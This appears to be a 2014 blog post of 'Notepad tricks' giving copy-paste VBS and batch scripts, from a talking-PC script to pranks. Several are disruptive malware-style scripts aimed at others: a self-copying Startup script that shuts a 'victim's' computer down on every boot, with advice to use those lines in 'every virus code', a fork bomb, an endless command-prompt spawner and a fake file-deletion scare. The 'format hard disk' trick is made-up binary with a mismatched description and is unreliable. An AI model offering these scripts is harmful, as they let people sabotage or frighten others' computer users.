Thursday, May 22, 2014

AWESOME NOTEPAD TRICKS

NOTEPAD TRICKS

Notepad can be used to make simple script which can sometimes be fruitful, sometimes becomes enjoyable and sometimes destructive. It depends entirely upon you how you use this. In this tutorial I will show you how can you use notepad for various purpose.

Warning: Don't try few things on your computer, it may damage your OS. So it will be mentioned is status which to try and which not to.


Trick 1: Make your PC talk what you type.
Status: Must try it (safe to use).

Open your notepad and copy paste the following code and save it as speak.vbs . Here the file extension should be .vbs.

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg

After you have saved it then open the vbs script, you will be prompted to enter text. Type the text and hear your PC say that.

Trick 2: Make your CD drive pop out constantly.
Status: Can try it (nearly safe)

Open your notepad and copy paste the following code and save it as cdrom.vbs . Here the file extension should be .vbs.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100

loop

After you have saved it then open the vbs script, your cd rom will pop out. Everytime you put it inside it will pop out.

How to stop: Press alt+ctrl+del. 
                        Go to Processes.
                       Look for wscript.exe and stop that.

Trick 3: To make keyboard LED flash.
Status: You may try (nearly safe to use).

Open your notepad and copy paste the following code and save it as led.vbs . Here the file extension should be .vbs.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

After you have saved it then open the vbs script, your all led in the keyboard will flash.

Trick 4: To Pop up fake error message.
Status: Must try it (safe to try)

Open your notepad and copy paste the following code and save it as fake.bat . Here the file extension should be .bat.

msg * Error: Your system is affected by virus

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 5: Format Hard disk.
Status: Dont' try unless you need it (not safe).

Open your notepad and copy paste the following code and save it as format.exe . Here the file extension should be .exe.

Code : 01001011000111110010010101010101010000011111100000

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 6: Shutdown computer forcefully
Status: Safe to use

Open your notepad and copy paste the following code and save it as shutdown.bat . Here the file extension should be .bat.

@echo off
msg * Shutdown computer.
shutdown -c “Sleep Tight” -s

After you have saved it then open the bat file, your computer will shutdown forcefully.

Trick 7: Delete all the files
Status: Don't try on your laptop (try it on others unless he is your enemy)

Open your notepad and copy paste the following code and save it as delete.bat (don't change the filename). Here the file extension should be .bat.
This prank will make your friends think that all of their files are being deleted and then at the end the file deletes itself so it is untraceable. 

 @echo off 
echo do you want to delete all of your computer data? (y/n) 
pause >nul
echo Do not exit out of the screen or all computer data will be deleted. 
ping localhost -n 2 > nul 
echo Are you sure you want to delete all computer data? (y/n) 
pause >nul 
echo deleting all data... 
echo. 
echo. 
pause localhost -n 2 > nul 
dir /s 
echo. 
echo. 
ping localhost -n 2 > nul 
cls 
echo error.. error.. Not all data deleted, are you sure you wish to stop? (y/n) 
pause 
echo. 
echo. 
ping localhost -n 1 > nul 
cls 
dir /s 
echo. 
echo. 
ping localhost -n 2 >nul 
cls 
echo all data has been deleted.. 
pause 
del "c:delete.bat" 

After you have saved it then open the bat file, your files will get deleted.

Trick 8: Command Prompt Virus
Status: You can try but you might not close that.
Open your notepad and copy paste the following code and save it as virus.bat. Here the file extension should be .bat.

start virus.bat 
virus.bat

This will open infinite command prompt.

Trick 9: Shutdown computer every time you start it.
Status: Don't Try (try it on your own risk)
Open your notepad and copy paste the following code and save it as anything.bat. Here the file extension should be .bat.


copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” 

//these two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00 //this will shutdown the computer in 0 seconds 

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder.

Start up folder path in Windows 7 is 

C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Every time the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. 
How to stop: You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

Trick 10: Fork Bomb
Status: Try it on your own risk
Open your notepad and copy paste the following code and save it as fork.bat. Here the file extension should be .bat.

%0|%0 

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows.


Author: Unpredictable
If you have any query then comment below or you can write us @ prashantsavior@gmail.com.

No comments:

Post a Comment